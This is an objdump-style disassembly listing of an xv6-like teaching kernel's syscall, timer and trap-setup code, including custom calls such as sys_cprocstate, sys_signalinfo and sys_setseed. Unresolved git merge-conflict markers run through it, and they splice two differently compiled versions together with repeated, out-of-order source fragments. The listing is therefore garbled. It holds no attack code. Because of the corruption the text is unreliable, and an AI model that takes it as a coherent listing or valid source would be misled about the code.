8010562c: e8 4f e2 ff ff call 80103880 <growproc>
80105631: 85 c0 test %eax,%eax
80105633: 78 0b js 80105640 <sys_sbrk+0x40>
return -1;
return addr;
80105635: 89 d8 mov %ebx,%eax
}
80105637: 83 c4 24 add $0x24,%esp
8010563a: 5b pop %ebx
8010563b: 5d pop %ebp
8010563c: c3 ret
8010563d: 8d 76 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
int addr;
int n;
if(argint(0, &n) < 0)
return -1;
<<<<<<< HEAD
801058a0: b8 ff ff ff ff mov $0xffffffff,%eax
801058a5: eb ee jmp 80105895 <sys_sbrk+0x35>
801058a7: 89 f6 mov %esi,%esi
801058a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801058b0 <sys_sleep>:
return addr;
}
int
sys_sleep(void)
{
801058b0: 55 push %ebp
801058b1: 89 e5 mov %esp,%ebp
801058b3: 53 push %ebx
int n;
uint ticks0;
if(argint(0, &n) < 0)
801058b4: 8d 45 f4 lea -0xc(%ebp),%eax
=======
80105640: b8 ff ff ff ff mov $0xffffffff,%eax
80105645: eb f0 jmp 80105637 <sys_sbrk+0x37>
80105647: 89 f6 mov %esi,%esi
80105649: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105650 <sys_sleep>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return addr;
}
int
sys_sleep(void)
{
<<<<<<< HEAD
801058b7: 83 ec 1c sub $0x1c,%esp
=======
80105650: 55 push %ebp
80105651: 89 e5 mov %esp,%ebp
80105653: 53 push %ebx
80105654: 83 ec 24 sub $0x24,%esp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int n;
uint ticks0;
if(argint(0, &n) < 0)
<<<<<<< HEAD
801058ba: 50 push %eax
801058bb: 6a 00 push $0x0
801058bd: e8 6e f1 ff ff call 80104a30 <argint>
801058c2: 83 c4 10 add $0x10,%esp
801058c5: 85 c0 test %eax,%eax
801058c7: 0f 88 8a 00 00 00 js 80105957 <sys_sleep+0xa7>
return -1;
acquire(&tickslock);
801058cd: 83 ec 0c sub $0xc,%esp
801058d0: 68 e0 4d 11 80 push $0x80114de0
801058d5: e8 36 ec ff ff call 80104510 <acquire>
ticks0 = ticks;
while(ticks - ticks0 < n){
801058da: 8b 55 f4 mov -0xc(%ebp),%edx
801058dd: 83 c4 10 add $0x10,%esp
=======
80105657: 8d 45 f4 lea -0xc(%ebp),%eax
8010565a: 89 44 24 04 mov %eax,0x4(%esp)
8010565e: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105665: e8 66 f1 ff ff call 801047d0 <argint>
8010566a: 85 c0 test %eax,%eax
8010566c: 78 7e js 801056ec <sys_sleep+0x9c>
return -1;
acquire(&tickslock);
8010566e: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
80105675: e8 06 ed ff ff call 80104380 <acquire>
ticks0 = ticks;
while(ticks - ticks0 < n){
8010567a: 8b 55 f4 mov -0xc(%ebp),%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
uint ticks0;
if(argint(0, &n) < 0)
return -1;
acquire(&tickslock);
ticks0 = ticks;
<<<<<<< HEAD
801058e0: 8b 1d 20 56 11 80 mov 0x80115620,%ebx
while(ticks - ticks0 < n){
801058e6: 85 d2 test %edx,%edx
801058e8: 75 27 jne 80105911 <sys_sleep+0x61>
801058ea: eb 54 jmp 80105940 <sys_sleep+0x90>
801058ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
8010567d: 8b 1d 20 56 11 80 mov 0x80115620,%ebx
while(ticks - ticks0 < n){
80105683: 85 d2 test %edx,%edx
80105685: 75 29 jne 801056b0 <sys_sleep+0x60>
80105687: eb 4f jmp 801056d8 <sys_sleep+0x88>
80105689: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(proc->killed){
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
<<<<<<< HEAD
801058f0: 83 ec 08 sub $0x8,%esp
801058f3: 68 e0 4d 11 80 push $0x80114de0
801058f8: 68 20 56 11 80 push $0x80115620
801058fd: e8 4e e6 ff ff call 80103f50 <sleep>
=======
80105690: c7 44 24 04 e0 4d 11 movl $0x80114de0,0x4(%esp)
80105697: 80
80105698: c7 04 24 20 56 11 80 movl $0x80115620,(%esp)
8010569f: e8 9c e6 ff ff call 80103d40 <sleep>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(argint(0, &n) < 0)
return -1;
acquire(&tickslock);
ticks0 = ticks;
while(ticks - ticks0 < n){
<<<<<<< HEAD
80105902: a1 20 56 11 80 mov 0x80115620,%eax
80105907: 83 c4 10 add $0x10,%esp
8010590a: 29 d8 sub %ebx,%eax
8010590c: 3b 45 f4 cmp -0xc(%ebp),%eax
8010590f: 73 2f jae 80105940 <sys_sleep+0x90>
if(proc->killed){
80105911: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105917: 8b 40 24 mov 0x24(%eax),%eax
8010591a: 85 c0 test %eax,%eax
8010591c: 74 d2 je 801058f0 <sys_sleep+0x40>
release(&tickslock);
8010591e: 83 ec 0c sub $0xc,%esp
80105921: 68 e0 4d 11 80 push $0x80114de0
80105926: e8 c5 ed ff ff call 801046f0 <release>
return -1;
8010592b: 83 c4 10 add $0x10,%esp
8010592e: b8 ff ff ff ff mov $0xffffffff,%eax
=======
801056a4: a1 20 56 11 80 mov 0x80115620,%eax
801056a9: 29 d8 sub %ebx,%eax
801056ab: 3b 45 f4 cmp -0xc(%ebp),%eax
801056ae: 73 28 jae 801056d8 <sys_sleep+0x88>
if(proc->killed){
801056b0: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801056b6: 8b 40 24 mov 0x24(%eax),%eax
801056b9: 85 c0 test %eax,%eax
801056bb: 74 d3 je 80105690 <sys_sleep+0x40>
release(&tickslock);
801056bd: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
801056c4: e8 e7 ed ff ff call 801044b0 <release>
return -1;
801056c9: b8 ff ff ff ff mov $0xffffffff,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
return 0;
}
<<<<<<< HEAD
80105933: 8b 5d fc mov -0x4(%ebp),%ebx
80105936: c9 leave
80105937: c3 ret
80105938: 90 nop
80105939: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
=======
801056ce: 83 c4 24 add $0x24,%esp
801056d1: 5b pop %ebx
801056d2: 5d pop %ebp
801056d3: c3 ret
801056d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
<<<<<<< HEAD
80105940: 83 ec 0c sub $0xc,%esp
80105943: 68 e0 4d 11 80 push $0x80114de0
80105948: e8 a3 ed ff ff call 801046f0 <release>
return 0;
8010594d: 83 c4 10 add $0x10,%esp
80105950: 31 c0 xor %eax,%eax
}
80105952: 8b 5d fc mov -0x4(%ebp),%ebx
80105955: c9 leave
80105956: c3 ret
=======
801056d8: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
801056df: e8 cc ed ff ff call 801044b0 <release>
return 0;
}
801056e4: 83 c4 24 add $0x24,%esp
return -1;
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
return 0;
801056e7: 31 c0 xor %eax,%eax
}
801056e9: 5b pop %ebx
801056ea: 5d pop %ebp
801056eb: c3 ret
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
int n;
uint ticks0;
if(argint(0, &n) < 0)
return -1;
<<<<<<< HEAD
80105957: b8 ff ff ff ff mov $0xffffffff,%eax
8010595c: eb d5 jmp 80105933 <sys_sleep+0x83>
8010595e: 66 90 xchg %ax,%ax
80105960 <sys_uptime>:
=======
801056ec: b8 ff ff ff ff mov $0xffffffff,%eax
801056f1: eb db jmp 801056ce <sys_sleep+0x7e>
801056f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801056f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105700 <sys_uptime>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// return how many clock tick interrupts have occurred
// since start.
int
sys_uptime(void)
{
<<<<<<< HEAD
80105960: 55 push %ebp
80105961: 89 e5 mov %esp,%ebp
80105963: 53 push %ebx
80105964: 83 ec 10 sub $0x10,%esp
uint xticks;
acquire(&tickslock);
80105967: 68 e0 4d 11 80 push $0x80114de0
8010596c: e8 9f eb ff ff call 80104510 <acquire>
xticks = ticks;
80105971: 8b 1d 20 56 11 80 mov 0x80115620,%ebx
release(&tickslock);
80105977: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
8010597e: e8 6d ed ff ff call 801046f0 <release>
return xticks;
}
80105983: 89 d8 mov %ebx,%eax
80105985: 8b 5d fc mov -0x4(%ebp),%ebx
80105988: c9 leave
80105989: c3 ret
8010598a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105990 <sys_cprocstate>:
=======
80105700: 55 push %ebp
80105701: 89 e5 mov %esp,%ebp
80105703: 53 push %ebx
80105704: 83 ec 14 sub $0x14,%esp
uint xticks;
acquire(&tickslock);
80105707: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
8010570e: e8 6d ec ff ff call 80104380 <acquire>
xticks = ticks;
80105713: 8b 1d 20 56 11 80 mov 0x80115620,%ebx
release(&tickslock);
80105719: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
80105720: e8 8b ed ff ff call 801044b0 <release>
return xticks;
}
80105725: 83 c4 14 add $0x14,%esp
80105728: 89 d8 mov %ebx,%eax
8010572a: 5b pop %ebx
8010572b: 5d pop %ebp
8010572c: c3 ret
8010572d: 8d 76 00 lea 0x0(%esi),%esi
80105730 <sys_cprocstate>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// syscall for printing current ptable contents
// calls cprocstate() in proc.c
int
sys_cprocstate(void)
{
<<<<<<< HEAD
80105990: 55 push %ebp
80105991: 89 e5 mov %esp,%ebp
80105993: 83 ec 14 sub $0x14,%esp
acquire(&tickslock);
80105996: 68 e0 4d 11 80 push $0x80114de0
8010599b: e8 70 eb ff ff call 80104510 <acquire>
cprocstate();
801059a0: e8 fb e8 ff ff call 801042a0 <cprocstate>
release(&tickslock);
801059a5: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
801059ac: e8 3f ed ff ff call 801046f0 <release>
return 0;
}
801059b1: 31 c0 xor %eax,%eax
801059b3: c9 leave
801059b4: c3 ret
801059b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801059b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801059c0 <sys_signalinfo>:
=======
80105730: 55 push %ebp
80105731: 89 e5 mov %esp,%ebp
80105733: 83 ec 18 sub $0x18,%esp
acquire(&tickslock);
80105736: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
8010573d: e8 3e ec ff ff call 80104380 <acquire>
cprocstate();
80105742: e8 49 e9 ff ff call 80104090 <cprocstate>
release(&tickslock);
80105747: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
8010574e: e8 5d ed ff ff call 801044b0 <release>
return 0;
}
80105753: 31 c0 xor %eax,%eax
80105755: c9 leave
80105756: c3 ret
80105757: 89 f6 mov %esi,%esi
80105759: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105760 <sys_signalinfo>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
//syscall for assigning value to jlength of a process
int
sys_signalinfo(void)
{
<<<<<<< HEAD
801059c0: 55 push %ebp
801059c1: 89 e5 mov %esp,%ebp
801059c3: 83 ec 20 sub $0x20,%esp
int pid,l;
if(argint(0, &pid) < 0 || argint(1, &l) < 0)
801059c6: 8d 45 f0 lea -0x10(%ebp),%eax
801059c9: 50 push %eax
801059ca: 6a 00 push $0x0
801059cc: e8 5f f0 ff ff call 80104a30 <argint>
801059d1: 83 c4 10 add $0x10,%esp
801059d4: 85 c0 test %eax,%eax
801059d6: 78 28 js 80105a00 <sys_signalinfo+0x40>
801059d8: 8d 45 f4 lea -0xc(%ebp),%eax
801059db: 83 ec 08 sub $0x8,%esp
801059de: 50 push %eax
801059df: 6a 01 push $0x1
801059e1: e8 4a f0 ff ff call 80104a30 <argint>
801059e6: 83 c4 10 add $0x10,%esp
801059e9: 85 c0 test %eax,%eax
801059eb: 78 13 js 80105a00 <sys_signalinfo+0x40>
return -1;
return signalinfo(pid,l);
801059ed: 83 ec 08 sub $0x8,%esp
801059f0: ff 75 f4 pushl -0xc(%ebp)
801059f3: ff 75 f0 pushl -0x10(%ebp)
801059f6: e8 65 e9 ff ff call 80104360 <signalinfo>
801059fb: 83 c4 10 add $0x10,%esp
}
801059fe: c9 leave
801059ff: c3 ret
=======
80105760: 55 push %ebp
80105761: 89 e5 mov %esp,%ebp
80105763: 83 ec 28 sub $0x28,%esp
int pid,l;
if(argint(0, &pid) < 0 || argint(1, &l) < 0)
80105766: 8d 45 f0 lea -0x10(%ebp),%eax
80105769: 89 44 24 04 mov %eax,0x4(%esp)
8010576d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105774: e8 57 f0 ff ff call 801047d0 <argint>
80105779: 85 c0 test %eax,%eax
8010577b: 78 2b js 801057a8 <sys_signalinfo+0x48>
8010577d: 8d 45 f4 lea -0xc(%ebp),%eax
80105780: 89 44 24 04 mov %eax,0x4(%esp)
80105784: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010578b: e8 40 f0 ff ff call 801047d0 <argint>
80105790: 85 c0 test %eax,%eax
80105792: 78 14 js 801057a8 <sys_signalinfo+0x48>
return -1;
return signalinfo(pid,l);
80105794: 8b 45 f4 mov -0xc(%ebp),%eax
80105797: 89 44 24 04 mov %eax,0x4(%esp)
8010579b: 8b 45 f0 mov -0x10(%ebp),%eax
8010579e: 89 04 24 mov %eax,(%esp)
801057a1: e8 ca e9 ff ff call 80104170 <signalinfo>
}
801057a6: c9 leave
801057a7: c3 ret
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
sys_signalinfo(void)
{
int pid,l;
if(argint(0, &pid) < 0 || argint(1, &l) < 0)
return -1;
<<<<<<< HEAD
80105a00: b8 ff ff ff ff mov $0xffffffff,%eax
return signalinfo(pid,l);
}
80105a05: c9 leave
80105a06: c3 ret
80105a07: 89 f6 mov %esi,%esi
80105a09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105a10 <sys_setseed>:
=======
801057a8: b8 ff ff ff ff mov $0xffffffff,%eax
return signalinfo(pid,l);
}
801057ad: c9 leave
801057ae: c3 ret
801057af: 90 nop
801057b0 <sys_setseed>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
//syscall for assigning initial value to seed
int
sys_setseed(void)
{
<<<<<<< HEAD
80105a10: 55 push %ebp
80105a11: 89 e5 mov %esp,%ebp
80105a13: 83 ec 20 sub $0x20,%esp
int l;
if(argint(0, &l) < 0)
80105a16: 8d 45 f4 lea -0xc(%ebp),%eax
80105a19: 50 push %eax
80105a1a: 6a 00 push $0x0
80105a1c: e8 0f f0 ff ff call 80104a30 <argint>
80105a21: 83 c4 10 add $0x10,%esp
80105a24: 85 c0 test %eax,%eax
80105a26: 78 18 js 80105a40 <sys_setseed+0x30>
return -1;
return setseed(l);
80105a28: 83 ec 0c sub $0xc,%esp
80105a2b: ff 75 f4 pushl -0xc(%ebp)
80105a2e: e8 9d e9 ff ff call 801043d0 <setseed>
80105a33: 83 c4 10 add $0x10,%esp
}
80105a36: c9 leave
80105a37: c3 ret
80105a38: 90 nop
80105a39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
=======
801057b0: 55 push %ebp
801057b1: 89 e5 mov %esp,%ebp
801057b3: 83 ec 28 sub $0x28,%esp
int l;
if(argint(0, &l) < 0)
801057b6: 8d 45 f4 lea -0xc(%ebp),%eax
801057b9: 89 44 24 04 mov %eax,0x4(%esp)
801057bd: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801057c4: e8 07 f0 ff ff call 801047d0 <argint>
801057c9: 85 c0 test %eax,%eax
801057cb: 78 13 js 801057e0 <sys_setseed+0x30>
return -1;
return setseed(l);
801057cd: 8b 45 f4 mov -0xc(%ebp),%eax
801057d0: 89 04 24 mov %eax,(%esp)
801057d3: e8 08 ea ff ff call 801041e0 <setseed>
}
801057d8: c9 leave
801057d9: c3 ret
801057da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int
sys_setseed(void)
{
int l;
if(argint(0, &l) < 0)
return -1;
<<<<<<< HEAD
80105a40: b8 ff ff ff ff mov $0xffffffff,%eax
return setseed(l);
}
80105a45: c9 leave
80105a46: c3 ret
80105a47: 66 90 xchg %ax,%ax
80105a49: 66 90 xchg %ax,%ax
80105a4b: 66 90 xchg %ax,%ax
80105a4d: 66 90 xchg %ax,%ax
80105a4f: 90 nop
80105a50 <timerinit>:
=======
801057e0: b8 ff ff ff ff mov $0xffffffff,%eax
return setseed(l);
}
801057e5: c9 leave
801057e6: c3 ret
801057e7: 66 90 xchg %ax,%ax
801057e9: 66 90 xchg %ax,%ax
801057eb: 66 90 xchg %ax,%ax
801057ed: 66 90 xchg %ax,%ax
801057ef: 90 nop
801057f0 <timerinit>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
#define TIMER_RATEGEN 0x04 // mode 2, rate generator
#define TIMER_16BIT 0x30 // r/w counter 16 bits, LSB first
void
timerinit(void)
{
<<<<<<< HEAD
80105a50: 55 push %ebp
=======
801057f0: 55 push %ebp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
<<<<<<< HEAD
80105a51: ba 43 00 00 00 mov $0x43,%edx
80105a56: b8 34 00 00 00 mov $0x34,%eax
80105a5b: 89 e5 mov %esp,%ebp
80105a5d: 83 ec 14 sub $0x14,%esp
80105a60: ee out %al,(%dx)
80105a61: ba 40 00 00 00 mov $0x40,%edx
80105a66: b8 9c ff ff ff mov $0xffffff9c,%eax
80105a6b: ee out %al,(%dx)
80105a6c: b8 2e 00 00 00 mov $0x2e,%eax
80105a71: ee out %al,(%dx)
=======
801057f1: ba 43 00 00 00 mov $0x43,%edx
801057f6: 89 e5 mov %esp,%ebp
801057f8: b8 34 00 00 00 mov $0x34,%eax
801057fd: 83 ec 18 sub $0x18,%esp
80105800: ee out %al,(%dx)
80105801: b8 9c ff ff ff mov $0xffffff9c,%eax
80105806: b2 40 mov $0x40,%dl
80105808: ee out %al,(%dx)
80105809: b8 2e 00 00 00 mov $0x2e,%eax
8010580e: ee out %al,(%dx)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Interrupt 100 times/sec.
outb(TIMER_MODE, TIMER_SEL0 | TIMER_RATEGEN | TIMER_16BIT);
outb(IO_TIMER1, TIMER_DIV(100) % 256);
outb(IO_TIMER1, TIMER_DIV(100) / 256);
picenable(IRQ_TIMER);
<<<<<<< HEAD
80105a72: 6a 00 push $0x0
80105a74: e8 07 d8 ff ff call 80103280 <picenable>
}
80105a79: 83 c4 10 add $0x10,%esp
80105a7c: c9 leave
80105a7d: c3 ret
80105a7e <alltraps>:
# vectors.S sends all traps here.
.globl alltraps
alltraps:
# Build trap frame.
pushl %ds
80105a7e: 1e push %ds
pushl %es
80105a7f: 06 push %es
pushl %fs
80105a80: 0f a0 push %fs
pushl %gs
80105a82: 0f a8 push %gs
pushal
80105a84: 60 pusha
# Set up data and per-cpu segments.
movw $(SEG_KDATA<<3), %ax
80105a85: 66 b8 10 00 mov $0x10,%ax
movw %ax, %ds
80105a89: 8e d8 mov %eax,%ds
movw %ax, %es
80105a8b: 8e c0 mov %eax,%es
movw $(SEG_KCPU<<3), %ax
80105a8d: 66 b8 18 00 mov $0x18,%ax
movw %ax, %fs
80105a91: 8e e0 mov %eax,%fs
movw %ax, %gs
80105a93: 8e e8 mov %eax,%gs
# Call trap(tf), where tf=%esp
pushl %esp
80105a95: 54 push %esp
call trap
80105a96: e8 e5 00 00 00 call 80105b80 <trap>
addl $4, %esp
80105a9b: 83 c4 04 add $0x4,%esp
80105a9e <trapret>:
# Return falls through to trapret...
.globl trapret
trapret:
popal
80105a9e: 61 popa
popl %gs
80105a9f: 0f a9 pop %gs
popl %fs
80105aa1: 0f a1 pop %fs
popl %es
80105aa3: 07 pop %es
popl %ds
80105aa4: 1f pop %ds
addl $0x8, %esp # trapno and errcode
80105aa5: 83 c4 08 add $0x8,%esp
iret
80105aa8: cf iret
80105aa9: 66 90 xchg %ax,%ax
80105aab: 66 90 xchg %ax,%ax
80105aad: 66 90 xchg %ax,%ax
80105aaf: 90 nop
80105ab0 <tvinit>:
=======
8010580f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105816: e8 d5 d9 ff ff call 801031f0 <picenable>
}
8010581b: c9 leave
8010581c: c3 ret
8010581d <alltraps>:
8010581d: 1e push %ds
8010581e: 06 push %es
8010581f: 0f a0 push %fs
80105821: 0f a8 push %gs
80105823: 60 pusha
80105824: 66 b8 10 00 mov $0x10,%ax
80105828: 8e d8 mov %eax,%ds
8010582a: 8e c0 mov %eax,%es
8010582c: 66 b8 18 00 mov $0x18,%ax
80105830: 8e e0 mov %eax,%fs
80105832: 8e e8 mov %eax,%gs
80105834: 54 push %esp
80105835: e8 e6 00 00 00 call 80105920 <trap>
8010583a: 83 c4 04 add $0x4,%esp
8010583d <trapret>:
8010583d: 61 popa
8010583e: 0f a9 pop %gs
80105840: 0f a1 pop %fs
80105842: 07 pop %es
80105843: 1f pop %ds
80105844: 83 c4 08 add $0x8,%esp
80105847: cf iret
80105848: 66 90 xchg %ax,%ax
8010584a: 66 90 xchg %ax,%ax
8010584c: 66 90 xchg %ax,%ax
8010584e: 66 90 xchg %ax,%ax
80105850 <tvinit>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
tvinit(void)
{
int i;
for(i = 0; i < 256; i++)
<<<<<<< HEAD
80105ab0: 31 c0 xor %eax,%eax
80105ab2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
80105ab8: 8b 14 85 10 a0 10 80 mov -0x7fef5ff0(,%eax,4),%edx
80105abf: b9 08 00 00 00 mov $0x8,%ecx
80105ac4: c6 04 c5 24 4e 11 80 movb $0x0,-0x7feeb1dc(,%eax,8)
80105acb: 00
80105acc: 66 89 0c c5 22 4e 11 mov %cx,-0x7feeb1de(,%eax,8)
80105ad3: 80
80105ad4: c6 04 c5 25 4e 11 80 movb $0x8e,-0x7feeb1db(,%eax,8)
80105adb: 8e
80105adc: 66 89 14 c5 20 4e 11 mov %dx,-0x7feeb1e0(,%eax,8)
80105ae3: 80
80105ae4: c1 ea 10 shr $0x10,%edx
80105ae7: 66 89 14 c5 26 4e 11 mov %dx,-0x7feeb1da(,%eax,8)
80105aee: 80
=======
80105850: 31 c0 xor %eax,%eax
80105852: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
80105858: 8b 14 85 10 a0 10 80 mov -0x7fef5ff0(,%eax,4),%edx
8010585f: b9 08 00 00 00 mov $0x8,%ecx
80105864: 66 89 0c c5 22 4e 11 mov %cx,-0x7feeb1de(,%eax,8)
8010586b: 80
8010586c: c6 04 c5 24 4e 11 80 movb $0x0,-0x7feeb1dc(,%eax,8)
80105873: 00
80105874: c6 04 c5 25 4e 11 80 movb $0x8e,-0x7feeb1db(,%eax,8)
8010587b: 8e
8010587c: 66 89 14 c5 20 4e 11 mov %dx,-0x7feeb1e0(,%eax,8)
80105883: 80
80105884: c1 ea 10 shr $0x10,%edx
80105887: 66 89 14 c5 26 4e 11 mov %dx,-0x7feeb1da(,%eax,8)
8010588e: 80
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
tvinit(void)
{
int i;
for(i = 0; i < 256; i++)
<<<<<<< HEAD
80105aef: 83 c0 01 add $0x1,%eax
80105af2: 3d 00 01 00 00 cmp $0x100,%eax
80105af7: 75 bf jne 80105ab8 <tvinit+0x8>
=======
8010588f: 83 c0 01 add $0x1,%eax
80105892: 3d 00 01 00 00 cmp $0x100,%eax
80105897: 75 bf jne 80105858 <tvinit+0x8>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
struct spinlock tickslock;
uint ticks;
void
tvinit(void)
{
<<<<<<< HEAD
80105af9: 55 push %ebp
=======
80105899: 55 push %ebp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int i;
for(i = 0; i < 256; i++)
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
<<<<<<< HEAD
80105afa: ba 08 00 00 00 mov $0x8,%edx
=======
8010589a: ba 08 00 00 00 mov $0x8,%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
struct spinlock tickslock;
uint ticks;
void
tvinit(void)
{
<<<<<<< HEAD
80105aff: 89 e5 mov %esp,%ebp
80105b01: 83 ec 10 sub $0x10,%esp
=======
8010589f: 89 e5 mov %esp,%ebp
801058a1: 83 ec 18 sub $0x18,%esp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int i;
for(i = 0; i < 256; i++)
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
<<<<<<< HEAD
80105b04: a1 10 a1 10 80 mov 0x8010a110,%eax
initlock(&tickslock, "time");
80105b09: 68 09 7b 10 80 push $0x80107b09
80105b0e: 68 e0 4d 11 80 push $0x80114de0
=======
801058a4: a1 10 a1 10 80 mov 0x8010a110,%eax
initlock(&tickslock, "time");
801058a9: c7 44 24 04 a9 78 10 movl $0x801078a9,0x4(%esp)
801058b0: 80
801058b1: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
int i;
for(i = 0; i < 256; i++)
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
<<<<<<< HEAD
80105b13: 66 89 15 22 50 11 80 mov %dx,0x80115022
80105b1a: c6 05 24 50 11 80 00 movb $0x0,0x80115024
80105b21: 66 a3 20 50 11 80 mov %ax,0x80115020
80105b27: c1 e8 10 shr $0x10,%eax
80105b2a: c6 05 25 50 11 80 ef movb $0xef,0x80115025
80105b31: 66 a3 26 50 11 80 mov %ax,0x80115026
initlock(&tickslock, "time");
80105b37: e8 b4 e9 ff ff call 801044f0 <initlock>
}
80105b3c: 83 c4 10 add $0x10,%esp
80105b3f: c9 leave
80105b40: c3 ret
80105b41: eb 0d jmp 80105b50 <idtinit>
80105b43: 90 nop
80105b44: 90 nop
80105b45: 90 nop
80105b46: 90 nop
80105b47: 90 nop
80105b48: 90 nop
80105b49: 90 nop
80105b4a: 90 nop
80105b4b: 90 nop
80105b4c: 90 nop
80105b4d: 90 nop
80105b4e: 90 nop
80105b4f: 90 nop
80105b50 <idtinit>:
=======
801058b8: 66 89 15 22 50 11 80 mov %dx,0x80115022
801058bf: 66 a3 20 50 11 80 mov %ax,0x80115020
801058c5: c1 e8 10 shr $0x10,%eax
801058c8: c6 05 24 50 11 80 00 movb $0x0,0x80115024
801058cf: c6 05 25 50 11 80 ef movb $0xef,0x80115025
801058d6: 66 a3 26 50 11 80 mov %ax,0x80115026
initlock(&tickslock, "time");
801058dc: e8 1f ea ff ff call 80104300 <initlock>
}
801058e1: c9 leave
801058e2: c3 ret
801058e3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801058e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801058f0 <idtinit>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
idtinit(void)
{
<<<<<<< HEAD
80105b50: 55 push %ebp
=======
801058f0: 55 push %ebp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static inline void
lidt(struct gatedesc *p, int size)
{
volatile ushort pd[3];
pd[0] = size-1;
<<<<<<< HEAD
80105b51: b8 ff 07 00 00 mov $0x7ff,%eax
80105b56: 89 e5 mov %esp,%ebp
80105b58: 83 ec 10 sub $0x10,%esp
80105b5b: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
80105b5f: b8 20 4e 11 80 mov $0x80114e20,%eax
80105b64: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
80105b68: c1 e8 10 shr $0x10,%eax
80105b6b: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lidt (%0)" : : "r" (pd));
80105b6f: 8d 45 fa lea -0x6(%ebp),%eax
80105b72: 0f 01 18 lidtl (%eax)
lidt(idt, sizeof(idt));
}
80105b75: c9 leave
80105b76: c3 ret
